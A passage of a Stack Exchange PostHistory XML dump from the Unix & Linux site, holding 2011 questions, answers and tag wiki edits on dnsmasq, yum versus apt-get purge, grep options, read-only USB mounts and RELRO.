up.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;(Later...)&#xD;&#xA;&#xD;&#xA;Aha! The server-fault questioner [admits][3] &quot;*Sorry. my mistake. I've put for actual number in i in {1..10}, so it worked well.*&quot; So, there ya go.&#xD;&#xA;&#xD;&#xA;The answer to _this_ question is &quot;no version of bash works like that&quot;. :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ftp.gnu.org/gnu/bash/&#xD;&#xA;  [2]: http://tiswww.case.edu/php/chet/bash/CHANGES&#xD;&#xA;  [3]: http://serverfault.com/questions/239674/passing-variables-problem-bash" />
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  <row Id="19218" PostHistoryTypeId="24" PostId="8180" RevisionGUID="4ce9cbd7-87e9-4b16-904e-4dc843839539" CreationDate="2011-02-25T16:56:41.703" Comment="Proposed by 3635 approved by 73 edit id of 141" />
  <row Id="19219" PostHistoryTypeId="5" PostId="8162" RevisionGUID="25e215ef-0dd5-4815-8b11-e14d65fb00f2" CreationDate="2011-02-25T17:13:29.020" UserId="3635" Comment="added 7 characters in body" Text="According to [Flush dnsmasq dns cache][1]:&#xD;&#xA;&#xD;&#xA;dnsmasq is a lightweight DNS, TFTP and DHCP server. It is intended to provide coupled DNS and DHCP service to a LAN. Dnsmasq accepts DNS queries and either answers them from a small, local, cache or forwards them to a real, recursive, DNS server. This software is also installed many cheap routers to cache dns queries. &lt;b&gt;Just restart to flush out dns cache:&lt;/b&gt;&#xD;&#xA;&#xD;&#xA;    $ sudo /etc/init.d/dnsmasq restart&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cyberciti.biz/faq/rhel-debian-ubuntu-flush-clear-dns-cache/" />
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  <row Id="19224" PostHistoryTypeId="2" PostId="8185" RevisionGUID="8cbf7b14-ec16-4e35-94c9-f8d0b7d6ca7a" CreationDate="2011-02-25T17:16:25.073" UserId="-1" Text="" />
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  <row Id="19226" PostHistoryTypeId="2" PostId="8187" RevisionGUID="8b7c413d-5cbf-4f7a-85e8-e749b58626c0" CreationDate="2011-02-25T17:17:55.060" UserId="-1" Text="" />
  <row Id="19227" PostHistoryTypeId="2" PostId="8188" RevisionGUID="01a243bd-f587-4952-90b7-6ab6d106dae4" CreationDate="2011-02-25T17:17:55.060" UserId="-1" Text="" />
  <row Id="19228" PostHistoryTypeId="2" PostId="8189" RevisionGUID="0f819e91-5b3a-4820-a409-089137ce7b6d" CreationDate="2011-02-25T17:18:45.790" UserId="-1" Text="" />
  <row Id="19229" PostHistoryTypeId="2" PostId="8190" RevisionGUID="93809b7e-a939-451d-960b-2366acba52d3" CreationDate="2011-02-25T17:18:45.790" UserId="-1" Text="" />
  <row Id="19230" PostHistoryTypeId="25" PostId="8159" RevisionGUID="56785a4d-4e78-4b7d-97f6-c17d8b3aaef3" CreationDate="2011-02-25T17:23:25.617" Comment="http://twitter.com/#!/StackUnix/status/41186516059422720" />
  <row Id="19231" PostHistoryTypeId="2" PostId="8191" RevisionGUID="c557775f-2b23-4459-863b-875cbb1b1b67" CreationDate="2011-02-25T17:45:35.917" UserId="688" Text="In Debian, there's at least two ways to delete a package:&#xD;&#xA;&#xD;&#xA;* `apt-get remove pkgname`&#xD;&#xA;* `apt-get purge pkgname`&#xD;&#xA;&#xD;&#xA;The first preserves system-wide config files (i.e. those found in &quot;**/etc**&quot;), while the second doesn't.&#xD;&#xA;&#xD;&#xA;What is Fedora's equivalent of the second form, `purge`? Or maybe I should rather ask if `yum remove pkgname` actually preserves config files." />
  <row Id="19232" PostHistoryTypeId="1" PostId="8191" RevisionGUID="c557775f-2b23-4459-863b-875cbb1b1b67" CreationDate="2011-02-25T17:45:35.917" UserId="688" Text="What is Fedora's equivalent of 'apt purge'?" />
  <row Id="19233" PostHistoryTypeId="3" PostId="8191" RevisionGUID="c557775f-2b23-4459-863b-875cbb1b1b67" CreationDate="2011-02-25T17:45:35.917" UserId="688" Text="éfedoraàépackageömanagementàéaptà" />
  <row Id="19234" PostHistoryTypeId="2" PostId="8192" RevisionGUID="595b7821-337a-4725-b290-54dcd8f804d8" CreationDate="2011-02-25T17:56:03.910" UserId="4057" Text="If you can run time and then execute a command you will get exactly what you are looking for. You cannot do this against an already-running command.&#xD;&#xA;&#xD;&#xA;[0] % time sleep 20&#xD;&#xA;&#xD;&#xA;sleep 20  0.00s user 0.00s system 0% cpu 20.014 total&#xD;&#xA;" />
  <row Id="19235" PostHistoryTypeId="4" PostId="8191" RevisionGUID="1f1a8d27-da59-42a0-b778-c9f02bf93b48" CreationDate="2011-02-25T17:58:42.410" UserId="688" Comment="edited tags; edited title" Text="What is Fedora's equivalent of 'apt-get purge'?" />
  <row Id="19236" PostHistoryTypeId="6" PostId="8191" RevisionGUID="1f1a8d27-da59-42a0-b778-c9f02bf93b48" CreationDate="2011-02-25T17:58:42.410" UserId="688" Comment="edited tags; edited title" Text="éfedoraàéaptàépackageömanagementà" />
  <row Id="19237" PostHistoryTypeId="5" PostId="8159" RevisionGUID="aa4551c6-c459-429b-b7c8-98d806b17c7a" CreationDate="2011-02-25T18:04:14.710" UserId="5122" Comment="added 1991 characters in body" Text="Background: &#xD;&#xA;I am trying to mount a usb disk as read only but my ubuntu install is mounting it&#xD;&#xA;rw when I plug the disk in.&#xD;&#xA;&#xD;&#xA;I can unmount the disk manually and remount it manually as read only with the umount and mount commands but thats no fun. Could someone give me a quick explanation on how exactly usb mounts are automatically done on a typical linux system (udev? historical background is nice too) and maybe how I can tweak this process into letting me read the disk ro?&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;Edit: I'm using gnome if that helps at all.  &#xD;&#xA;Edit2: In my haste I forgot to provide a bit more information. This is what the disk looks like from the output of 'mount'.   &#xD;&#xA;&#xD;&#xA;/dev/sdb1 on /media/LaCie type fuseblk (rw,nosuid,nodev,allow_other,default_permissions,blksize=4096)&#xD;&#xA;&#xD;&#xA;Edit3:&#xD;&#xA;This also may be relavent in its own way. In the mount output I also have the following:   &#xD;&#xA;  &#xD;&#xA;  gvfs-fuse-daemon on /home/fletcher/.gvfs type fuse.gvfs-fuse-daemon (rw,nosuid,nodev,user=fletcher)  &#xD;&#xA;&#xD;&#xA;I thought this might have been related to the above fuseblk mount, but what I found out was this.  &#xD;&#xA;&#xD;&#xA;Gvfs is the Gnome virtual file system. It is a virtual filesystem built on top of the already existing kernel vfs. gvfs uses the GIO library (which is a VFS API) to access files, devices, remote network locations, etc. In this case above ('gvfs-fuse-daemon') gvfs is using FUSE to mount files/locations/devices. This is essentially what happens when you mount a remote network connection in Nautilus. It will use FUSE to mount the location (inside?) the .gvfs directory, and then it will communicate with the gnome virtual file system layer to communicate with the new mount.  &#xD;&#xA;&#xD;&#xA;Basically this structure allows the user to dynamically mount new locations and interact with them through nautilus.  &#xD;&#xA;&#xD;&#xA;Just for reference: FUSE is a userspace filesystem, aka it allows the user to run mount even when that user is not root)  &#xD;&#xA;&#xD;&#xA;So where does that leave me? Well the LaCie disk is being mounted with type fuseblk.  This is just a block device mounted with fuse. So some daemon has autodetected the drive when it was plugged in and then gone ahead and run fuse to mount my block  device. So what daemon is this, and how is it configured (my&#xD;&#xA;guess is it is some internal gnome thing) is the most important question. A secondary question is how the system automatically detected a newly inserted usb disk, but I think thats a bit of an aside and much lower level here (read: udev?).  &#xD;&#xA;&#xD;&#xA;Links:   &#xD;&#xA;Gvfs: http://fedoraproject.org/wiki/Features/Gvfs  &#xD;&#xA;gvfs-fuse-daemon: http://old.nabble.com/What-is-gvfs-fuse-daemon--td19458605.html  &#xD;&#xA;FUSE: http://www.mjmwired.net/kernel/Documentation/filesystems/fuse.txt  &#xD;&#xA;GIO: http://library.gnome.org/devel/gio/unstable/ch01.html  &#xD;&#xA;" />
  <row Id="19238" PostHistoryTypeId="2" PostId="8193" RevisionGUID="587bbd8a-6c81-4e58-b00e-44a680805f66" CreationDate="2011-02-25T18:07:27.080" UserId="3635" Text="`yum remove` is not guaranteed to preserve configuration files.&#xD;&#xA;&#xD;&#xA;As stated in the [yum HOWTO][1]:&#xD;&#xA;&#xD;&#xA;&gt;In any event, the command syntax for package removal is:&#xD;&#xA;&gt;&#xD;&#xA;    # yum remove package1 [package2 package3...]&#xD;&#xA;&gt;&#xD;&#xA;&gt;As noted above, it removes package1 and all packages in the dependency tree that depend on package1, &lt;b&gt;possibly irreversibly as far as configuration data is concerned&lt;/b&gt;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.phy.duke.edu/~rgb/General/yum_HOWTO/yum_HOWTO/yum_HOWTO-10.html" />
  <row Id="19239" PostHistoryTypeId="2" PostId="8194" RevisionGUID="4e8bbf1a-f74c-4dc2-a213-40d8708f6474" CreationDate="2011-02-25T18:12:55.200" UserId="2183" Text="I'm not sure if you can do this with windows guests. I'll outline what I would do first to move any VM to physical disk, and some &quot;hints&quot; which may help with windows.&#xD;&#xA;&#xD;&#xA;So, in general, you need an image of the virtual hard drive ([instructions][1]).&#xD;&#xA;&#xD;&#xA;Then, just copy this image to a harddrive, using dd.&#xD;&#xA;&#xD;&#xA;This should work for most Linux machines.&#xD;&#xA;&#xD;&#xA;For windows, chances are, that you may have a lot of troubles. I would start with creating a new hardware profile in the VM before I even try.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.turnkeylinux.org/blog/convert-vdi-vmdk" />
  <row Id="19240" PostHistoryTypeId="2" PostId="8195" RevisionGUID="36bebd7f-69cc-4271-9822-da62ea5b654d" CreationDate="2011-02-25T18:14:51.750" UserId="5125" Text="There is no equivalent for &quot;purge&quot;, just use *yum remove package*.&#xD;&#xA;&#xD;&#xA;Also you can use *yum* **reinstall** *package*, when you wanna reinstall some package..." />
  <row Id="19241" PostHistoryTypeId="2" PostId="8196" RevisionGUID="ed286f8b-2811-4ed7-9997-c0d8369b58b4" CreationDate="2011-02-25T18:22:23.467" UserId="-1" Text="" />
  <row Id="19242" PostHistoryTypeId="2" PostId="8197" RevisionGUID="13407df2-2186-4267-9ab8-fb911011b6df" CreationDate="2011-02-25T18:22:23.467" UserId="-1" Text="" />
  <row Id="19243" PostHistoryTypeId="2" PostId="8198" RevisionGUID="190848c9-0422-4083-b421-fc811a877586" CreationDate="2011-02-25T18:23:14.697" UserId="-1" Text="" />
  <row Id="19244" PostHistoryTypeId="2" PostId="8199" RevisionGUID="a74b344d-e3df-413e-9778-eedeffa9c1db" CreationDate="2011-02-25T18:23:14.697" UserId="-1" Text="" />
  <row Id="19245" PostHistoryTypeId="2" PostId="8200" RevisionGUID="afc3e2b8-09c9-4f17-94b0-4c1da99d2bcb" CreationDate="2011-02-25T18:23:50.563" UserId="-1" Text="" />
  <row Id="19246" PostHistoryTypeId="2" PostId="8201" RevisionGUID="96aee795-07a0-43d4-a35c-4a9f6813a857" CreationDate="2011-02-25T18:23:50.563" UserId="-1" Text="" />
  <row Id="19247" PostHistoryTypeId="2" PostId="8202" RevisionGUID="73efa066-73a9-4f11-9fc0-1c15ac622ace" CreationDate="2011-02-25T18:25:41.733" UserId="-1" Text="" />
  <row Id="19248" PostHistoryTypeId="2" PostId="8203" RevisionGUID="48464a4d-7698-4478-a7a0-8b255e8bb293" CreationDate="2011-02-25T18:25:41.733" UserId="-1" Text="" />
  <row Id="19249" PostHistoryTypeId="5" PostId="8203" RevisionGUID="21150b22-c377-4eec-a3dc-9f28568e9065" CreationDate="2011-02-25T18:27:55.010" UserId="3635" Comment="added 92 characters in body" Text="BusyBox combines tiny versions of many common UNIX utilities into a single small executable." />
  <row Id="19250" PostHistoryTypeId="24" PostId="8203" RevisionGUID="21150b22-c377-4eec-a3dc-9f28568e9065" CreationDate="2011-02-25T18:27:55.010" Comment="Proposed by 3635 approved by 73 edit id of 151" />
  <row Id="19251" PostHistoryTypeId="5" PostId="8201" RevisionGUID="c29369d1-eeb0-4c3e-aeb6-d49827e32004" CreationDate="2011-02-25T18:27:58.037" UserId="3635" Comment="added 37 characters in body" Text="cp - Command-line tool to copy a file" />
  <row Id="19252" PostHistoryTypeId="24" PostId="8201" RevisionGUID="c29369d1-eeb0-4c3e-aeb6-d49827e32004" CreationDate="2011-02-25T18:27:58.037" Comment="Proposed by 3635 approved by 73 edit id of 150" />
  <row Id="19253" PostHistoryTypeId="5" PostId="8186" RevisionGUID="3c8df489-775e-45b4-8b5c-9734f96f2bd7" CreationDate="2011-02-25T18:28:06.227" UserId="3635" Comment="added 171 characters in body" Text="File Allocation Table (FAT) is a computer file system architecture now widely used on many computer systems and most memory cards, such as those used with digital cameras." />
  <row Id="19254" PostHistoryTypeId="24" PostId="8186" RevisionGUID="3c8df489-775e-45b4-8b5c-9734f96f2bd7" CreationDate="2011-02-25T18:28:06.227" Comment="Proposed by 3635 approved by 73 edit id of 145" />
  <row Id="19255" PostHistoryTypeId="5" PostId="8199" RevisionGUID="7f80735f-22a1-4460-9005-c1265d18ca62" CreationDate="2011-02-25T18:28:09.567" UserId="3635" Comment="added 61 characters in body" Text="kill - Send a specified signal to a process or process group." />
  <row Id="19256" PostHistoryTypeId="24" PostId="8199" RevisionGUID="7f80735f-22a1-4460-9005-c1265d18ca62" CreationDate="2011-02-25T18:28:09.567" Comment="Proposed by 3635 approved by 73 edit id of 149" />
  <row Id="19257" PostHistoryTypeId="5" PostId="8190" RevisionGUID="e594607b-4cc4-4593-979e-332858816fe7" CreationDate="2011-02-25T18:28:13.013" UserId="3635" Comment="added 89 characters in body" Text="A command-line system monitor tool that produces a frequently-updated list of processes. " />
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  <row Id="19259" PostHistoryTypeId="5" PostId="8197" RevisionGUID="68a1d54b-53cb-496d-a7c2-b1c079d09edb" CreationDate="2011-02-25T18:28:15.727" UserId="3635" Comment="added 66 characters in body" Text="wget - command-line utility to download content non-interactively." />
  <row Id="19260" PostHistoryTypeId="24" PostId="8197" RevisionGUID="68a1d54b-53cb-496d-a7c2-b1c079d09edb" CreationDate="2011-02-25T18:28:15.727" Comment="Proposed by 3635 approved by 73 edit id of 148" />
  <row Id="19261" PostHistoryTypeId="5" PostId="8182" RevisionGUID="10049635-b358-4133-bcac-7f08760f48d3" CreationDate="2011-02-25T18:28:18.303" UserId="3635" Comment="added 82 characters in body" Text="Xen is a virtual-machine monitor for IA-32, x86-64, Itanium and ARM architectures." />
  <row Id="19262" PostHistoryTypeId="24" PostId="8182" RevisionGUID="10049635-b358-4133-bcac-7f08760f48d3" CreationDate="2011-02-25T18:28:18.303" Comment="Proposed by 3635 approved by 73 edit id of 143" />
  <row Id="19263" PostHistoryTypeId="5" PostId="8184" RevisionGUID="3be61408-35e0-473e-b319-7443f416fc87" CreationDate="2011-02-25T18:28:20.953" UserId="3635" Comment="added 87 characters in body" Text="ZFS is a combined file system and logical volume manager designed by Sun Microsystems. " />
  <row Id="19264" PostHistoryTypeId="24" PostId="8184" RevisionGUID="3be61408-35e0-473e-b319-7443f416fc87" CreationDate="2011-02-25T18:28:20.953" Comment="Proposed by 3635 approved by 73 edit id of 144" />
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  <row Id="19266" PostHistoryTypeId="2" PostId="8205" RevisionGUID="1c142d61-1668-4611-9fe8-91e16e9eb7a1" CreationDate="2011-02-25T18:41:49.503" UserId="-1" Text="" />
  <row Id="19267" PostHistoryTypeId="2" PostId="8206" RevisionGUID="3cce26cf-1cf3-46f6-8996-26ef1dbcf0bb" CreationDate="2011-02-25T18:42:13.950" UserId="-1" Text="" />
  <row Id="19268" PostHistoryTypeId="2" PostId="8207" RevisionGUID="8899a95c-1818-4ba4-a7b0-df4c24524f47" CreationDate="2011-02-25T18:42:13.950" UserId="-1" Text="" />
  <row Id="19269" PostHistoryTypeId="2" PostId="8208" RevisionGUID="c2329e5b-5ec2-4a07-8ed0-118f10e92817" CreationDate="2011-02-25T18:43:15.010" UserId="-1" Text="" />
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  <row Id="19271" PostHistoryTypeId="2" PostId="8210" RevisionGUID="02602ecf-5d60-46d4-85a8-2c12b32ad828" CreationDate="2011-02-25T18:44:14.527" UserId="-1" Text="" />
  <row Id="19272" PostHistoryTypeId="2" PostId="8211" RevisionGUID="73d13283-74a1-4c88-be7f-0bd2c1bd10d0" CreationDate="2011-02-25T18:44:14.527" UserId="-1" Text="" />
  <row Id="19273" PostHistoryTypeId="2" PostId="8212" RevisionGUID="4e26d9e4-baa4-4c30-8f07-6f5e36935224" CreationDate="2011-02-25T18:44:48.893" UserId="-1" Text="" />
  <row Id="19274" PostHistoryTypeId="2" PostId="8213" RevisionGUID="e1d7decf-3ca3-49c3-835e-17714d826f3a" CreationDate="2011-02-25T18:44:48.893" UserId="-1" Text="" />
  <row Id="19275" PostHistoryTypeId="2" PostId="8214" RevisionGUID="5b6d16e7-8cea-4a1f-a223-6281dca47b74" CreationDate="2011-02-25T19:01:39.510" UserId="2689" Text="I usually do some grep when developing, and there are some extensions that I always don't want to look for (like *.pyc).&#xD;&#xA;&#xD;&#xA;Is it possible to create a ~/.egreprc or something like that, and put some filtering to always not show pyc files in result.&#xD;&#xA;&#xD;&#xA;Is this possible, or will I have to create an alias for using grep in this manner, and call the alias instead of grep?" />
  <row Id="19276" PostHistoryTypeId="1" PostId="8214" RevisionGUID="5b6d16e7-8cea-4a1f-a223-6281dca47b74" CreationDate="2011-02-25T19:01:39.510" UserId="2689" Text="Is there a 'rc' configuration file for grep/egrep? (~/.egreprc?)" />
  <row Id="19277" PostHistoryTypeId="3" PostId="8214" RevisionGUID="5b6d16e7-8cea-4a1f-a223-6281dca47b74" CreationDate="2011-02-25T19:01:39.510" UserId="2689" Text="égrepàéconfigurationàércàéegrepà" />
  <row Id="19278" PostHistoryTypeId="5" PostId="8213" RevisionGUID="17e4371d-c167-4620-93f4-3762e70be9e6" CreationDate="2011-02-25T19:09:15.473" UserId="3635" Comment="added 74 characters in body" Text="A hostname is the label given to a device connected to a computer network." />
  <row Id="19279" PostHistoryTypeId="24" PostId="8213" RevisionGUID="17e4371d-c167-4620-93f4-3762e70be9e6" CreationDate="2011-02-25T19:09:15.473" Comment="Proposed by 3635 approved by 73 edit id of 156" />
  <row Id="19280" PostHistoryTypeId="5" PostId="8211" RevisionGUID="5179363c-6786-4ab8-a6fb-af6a0f065183" CreationDate="2011-02-25T19:09:20.950" UserId="3635" Comment="added 159 characters in body" Text="A segmentation fault (often shortened to segfault) or bus error occurs when the hardware notifies a Unix-like Operating system about a memory access violation." />
  <row Id="19281" PostHistoryTypeId="24" PostId="8211" RevisionGUID="5179363c-6786-4ab8-a6fb-af6a0f065183" CreationDate="2011-02-25T19:09:20.950" Comment="Proposed by 3635 approved by 73 edit id of 155" />
  <row Id="19282" PostHistoryTypeId="5" PostId="8209" RevisionGUID="c2c47d4b-0008-4310-bd79-ea78dd56075d" CreationDate="2011-02-25T19:09:27.580" UserId="3635" Comment="added 82 characters in body" Text="The tar archive format and/or the command-line utility for working with tar files." />
  <row Id="19283" PostHistoryTypeId="24" PostId="8209" RevisionGUID="c2c47d4b-0008-4310-bd79-ea78dd56075d" CreationDate="2011-02-25T19:09:27.580" Comment="Proposed by 3635 approved by 73 edit id of 154" />
  <row Id="19284" PostHistoryTypeId="5" PostId="8207" RevisionGUID="28cce84a-ddde-465f-b664-72867446de21" CreationDate="2011-02-25T19:09:30.480" UserId="3635" Comment="added 69 characters in body" Text="An x86 virtualization software package developed by Sun Microsystems." />
  <row Id="19285" PostHistoryTypeId="24" PostId="8207" RevisionGUID="28cce84a-ddde-465f-b664-72867446de21" CreationDate="2011-02-25T19:09:30.480" Comment="Proposed by 3635 approved by 73 edit id of 153" />
  <row Id="19286" PostHistoryTypeId="2" PostId="8215" RevisionGUID="04549b3c-7c85-486d-b759-4e5ab64ebda5" CreationDate="2011-02-25T19:13:21.330" UserId="2511" Text="Not in GNU grep/egrep, there isn't.&#xD;&#xA;&#xD;&#xA;You probably want a specially-named alias or script to do this anyway, because someday later you might find yourself very confused when trying to look in something that you forgot matches your special configuration." />
  <row Id="19287" PostHistoryTypeId="2" PostId="8216" RevisionGUID="c8933528-9874-424a-b86d-6ea58fe9d4a7" CreationDate="2011-02-25T19:20:15.383" UserId="3852" Text="[ack][1] can do what you want and more. &#xD;&#xA;&#xD;&#xA;It will ignore binary files by default and you can tell it to ignore other filetypes as you want `--notext`, `--nohtml`, etc. It has the ability to define an rc file too so you can customize it with your own types.&#xD;&#xA;&#xD;&#xA;  [1]: http://betterthangrep.com/&#xD;&#xA;" />
  <row Id="19288" PostHistoryTypeId="5" PostId="7361" RevisionGUID="a9201309-1132-406c-afb5-8b34e4b061d1" CreationDate="2011-02-25T19:32:56.270" UserId="4520" Comment="Added scr to windows executable list." Text="Stick to alphanumeric filenames. Avoid spaces or replace spaces with underscores ( \_ ).  Limit punctuation in file names to periods (.), underscores ( \_ ), and hyphens (-).  Generally filenames are lowercase, but I use CamelCase when I have multiple words in the filename.&#xD;&#xA;&#xD;&#xA;Use extensions which indicate the type of file.  Programs do not need extensions as the execute bit is used to indicate programs, and the shells know how to run programs of various types.  It is common but not required to (.sh) for shell scripts, and (.pl) for perl scripts. The Windows executable extensions .bat, .com, .scr, and .exe indicate Windows executables on Unix. &#xD;&#xA;&#xD;&#xA;Pick a standard and stick to it.  But it won't break things if you avoid it.  &#xD;&#xA;&#xD;&#xA;Hidden (or dot) files have names starting with a period.  These normally don't show up in directory listings.  Use 'ls -a' to include the dot files in the list.&#xD;&#xA;" />
  <row Id="19289" PostHistoryTypeId="2" PostId="8217" RevisionGUID="daf59066-b970-4d3a-8dd4-9adf18123478" CreationDate="2011-02-25T19:38:12.130" UserId="4991" Text="    perl -wlne '/^2011-02-24/ .. /^2011-02-25/ and print' log_file&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19290" PostHistoryTypeId="6" PostId="8121" RevisionGUID="1a70a9f7-270b-4c58-af32-1eeda9387800" CreationDate="2011-02-25T19:54:56.203" UserId="885" Comment="edited tags" Text="étextöprocessingàélogsà" />
  <row Id="19291" PostHistoryTypeId="2" PostId="8218" RevisionGUID="38f4412a-cf19-4aed-a150-20302dc9c972" CreationDate="2011-02-25T20:05:46.487" UserId="885" Text="There's no rc file for grep, but you can set the environment variable `GREP_OPTIONS` to a whitespace-separated list of options that will apply to all grep commands. This requires GNU grep (the implementation on non-embedded Linux, Cygwin and some other systems) 2.4; the `--exclude` option is new to GNU grep 2.5. Put something like this in your `~/.profile`:&#xD;&#xA;&#xD;&#xA;    export GREP_OPTIONS='--color=auto --exclude=*.pyc --exclude-dir=.git'&#xD;&#xA;&#xD;&#xA;If you've done this but want to run grep once without those default options, you can override them (e.g. `grep --color=never` to force colors off) or empty the `GREP_OPTIONS` variable by running `GREP_OPTIONS= grep …`.&#xD;&#xA;&#xD;&#xA;Another possibility is to define aliases for grep. I use a variant of the following:&#xD;&#xA;&#xD;&#xA;    alias regrep='grep -Er --exclude=*~ --exclude=*.pyc --exclude-dir=.bzr --exclude-dir=.git --exclude-dir=.svn'&#xD;&#xA;" />
  <row Id="19292" PostHistoryTypeId="6" PostId="8214" RevisionGUID="035039fc-817a-4e6f-a364-7e1e9866226f" CreationDate="2011-02-25T20:06:36.173" UserId="885" Comment="edited tags" Text="égrepàéconfigurationà" />
  <row Id="19293" PostHistoryTypeId="6" PostId="8191" RevisionGUID="9d236e0e-59e2-41c5-b83c-2d4842d3d1e3" CreationDate="2011-02-25T20:07:45.343" UserId="885" Comment="edited tags" Text="éfedoraàéyumàéaptàépackageömanagementà" />
  <row Id="19294" PostHistoryTypeId="5" PostId="8158" RevisionGUID="a2058cbd-0957-4014-bfbd-843520f2435a" CreationDate="2011-02-25T20:09:29.760" UserId="3635" Comment="added 22 characters in body" Text="The apache web server." />
  <row Id="19295" PostHistoryTypeId="24" PostId="8158" RevisionGUID="a2058cbd-0957-4014-bfbd-843520f2435a" CreationDate="2011-02-25T20:09:29.760" Comment="Proposed by 3635 approved by 885 edit id of 132" />
  <row Id="19296" PostHistoryTypeId="25" PostId="8214" RevisionGUID="9399f7b1-6abf-4c0f-9714-4f9aff67c0c1" CreationDate="2011-02-25T20:23:25.350" Comment="http://twitter.com/#!/StackUnix/status/41231814907396096" />
  <row Id="19297" PostHistoryTypeId="2" PostId="8219" RevisionGUID="5b656872-b915-499a-8d94-b8c8a34958e0" CreationDate="2011-02-25T20:28:58.307" UserId="1987" Text="Those sections are marked GNU_RELRO (readonly relocations), which means that as soon as the dynamic loader has fixed up (at load time, there are no lazy relocations there) all the relocations, it marks those sections read-only. Note that most of `.got.plt` is on another page, so doesn't get the treatment.&#xD;&#xA;&#xD;&#xA;You can see the linker script with `ld --verbose`, if you search for RELRO you'll find something similar to:&#xD;&#xA;&#xD;&#xA;    .got            : { *(.got) }&#xD;&#xA;    . = DATA_SEGMENT_RELRO_END (12, .);&#xD;&#xA;    .got.plt        : { *(.got.plt) }&#xD;&#xA;&#xD;&#xA;which means that the RELRO sections end 12 bytes into `.got.plt` (pointers to dynamic linker functions are already resolved, so can be marked read-only).&#xD;&#xA;&#xD;&#xA;The hardened Gentoo project has some documentation about RELRO at [http://www.gentoo.at/proj/en/hardened/hardened-toolchain.xml#RELRO][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gentoo.at/proj/en/hardened/hardened-toolchain.xml#RELRO" />
  <row Id="19298" PostHistoryTypeId="6" PostId="1365" RevisionGUID="636d1a65-174a-4681-aacd-2ad960bcbf53" CreationDate="2011-02-25T20:29:39.710" UserId="885" Comment="edited tags" Text="élinuxàébootàéembeddedà" />
  <row Id="19299" PostHistoryTypeId="6" PostId="8049" RevisionGUID="b46745bc-5480-403d-ad55-d37c5375ac82" CreationDate="2011-02-25T20:30:29.303" UserId="5092" Comment="B&quot;H added aptitude tag" Text="édebianàéaptàépackageömanagementàéaptitudeà" />
  <row Id="19300" PostHistoryTypeId="6" PostId="7194" RevisionGUID="89f14ae0-de31-45eb-84cb-4e74f41fbbb2" CreationDate="2011-02-25T20:36:18.017" UserId="885" Comment="edited tags" Text="éusersàéinitöscriptàéopenbsdà" />
  <row Id="19301" PostHistoryTypeId="6" PostId="6274" RevisionGUID="111240ec-e3fc-4278-886b-3c69be56e528" CreationDate="2011-02-25T20:36:28.360" UserId="885" Comment="edited tags" Text="éxorgàéconfigurationàéguiàésessionà" />
  <row Id="19302" PostHistoryTypeId="6" PostId="3467" RevisionGUID="c0988386-23e9-430e-a851-a95e06ea7035" CreationDate="2011-02-25T20:36:35.800" UserId="885" Comment="edited tags" Text="ébashàéconfigurationàéhistoryà" />
  <row Id="19303" PostHistoryTypeId="5" PostId="8172" RevisionGUID="94a6f458-b38f-4e82-9c57-cb152390cb61" CreationDate="2011-02-25T20:37:36.983" UserId="3635" Comment="added 34 characters in body" Text="Integrated Development Environment" />
  <row Id="19304" PostHistoryTypeId="24" PostId="8172" RevisionGUID="94a6f458-b38f-4e82-9c57-cb152390cb61" CreationDate="2011-02-25T20:37:36.983" Comment="Proposed by 3635 approved by 885 edit id of 137" />
  <row Id="19305" PostHistoryTypeId="5" PostId="8205" RevisionGUID="a5b75eee-1341-46b9-b11d-0de4c2b2759a" CreationDate="2011-02-25T20:37:41.510" UserId="3635" Comment="added 23 characters in body" Text="Virtual Private Network" />
  <row Id="19306" PostHistoryTypeId="24" PostId="8205" RevisionGUID="a5b75eee-1341-46b9-b11d-0de4c2b2759a" CreationDate="2011-02-25T20:37:41.510" Comment="Proposed by 3635 approved by 885 edit id of 152" />
  <row Id="19307" PostHistoryTypeId="6" PostId="8160" RevisionGUID="17d16500-3790-4e37-a362-166e37af659d" CreationDate="2011-02-25T21:11:26.763" UserId="885" Comment="edited tags" Text="édnsàéddöwrtàédnsmasqà" />
  <row Id="19308" PostHistoryTypeId="2" PostId="8220" RevisionGUID="93df6465-8b71-4b4f-95b1-f7f638199be8" CreationDate="2011-02-25T21:25:30.090" UserId="4030" Text="I tried to do this on my computer and it's work :)&#xD;&#xA;&#xD;&#xA;First I get a name for my device :&#xD;&#xA;&#xD;&#xA;    ls -l /proc/disk/by-id/&#xD;&#xA;&#xD;&#xA;In my case it is /proc/disk/by-id/usb-09a6_8001&#xD;&#xA;&#xD;&#xA;I added this line in /etc/fstab :&#xD;&#xA;&#xD;&#xA;    /dev/disk/by-id/usb-09a6_8001	/media/macle ext2 ro,users 0 2&#xD;&#xA;&#xD;&#xA;And it's working, when I plug my usbkey, it's mounted ro and owned by my user." />
  <row Id="19309" PostHistoryTypeId="5" PostId="8187" RevisionGUID="0e1d3693-fb18-498c-91bb-fa1e2dc128cb" CreationDate="2011-02-25T21:40:27.750" UserId="885" Comment="added 1718 characters in body" Text="## Overview of a computer boot sequence&#xD;&#xA;&#xD;&#xA;When a computer [boots](http://en.wikipedia.org/wiki/Booting), it first runs firmware stored in persistent memory. On PCs, this firmware is called the [BIOS](http://en.wikipedia.org/wiki/BIOS). If you have a problem at this stage, it's off-topic for this site, since Unix is not involved yet, but try asking on [Super User](http://superuser.com/).&#xD;&#xA;&#xD;&#xA;The firmware then loads a [bootloader](http://en.wikipedia.org/wiki/Bootloader#Boot_loader), typically from disk or from the network. Although bootloaders are not part of the operating system proper, questions about bootloaders typically associated with unix and Linux are welcome on this site.&#xD;&#xA;&#xD;&#xA;The bootloader loads the operating system [tag:kernel]. The kernel initializes itself and some hardware devices, then on typical Unix systems runs the [`init`](http://en.wikipedia.org/wiki/Init) program. Init in turn starts system services, including programs that present a login prompt.&#xD;&#xA;&#xD;&#xA;## Related tags&#xD;&#xA;&#xD;&#xA;* [tag:boot-loader] for bootloaders in general&#xD;&#xA;* [tag:dual-boot] if you have more than one operating system&#xD;&#xA;&#xD;&#xA;### Bootloaders&#xD;&#xA;&#xD;&#xA;* [tag:grub] (and [tag:grub2]): a versatile bootloader used by many Linux distributions&#xD;&#xA;* [tag:lilo]: the traditional bootloader for Linux on 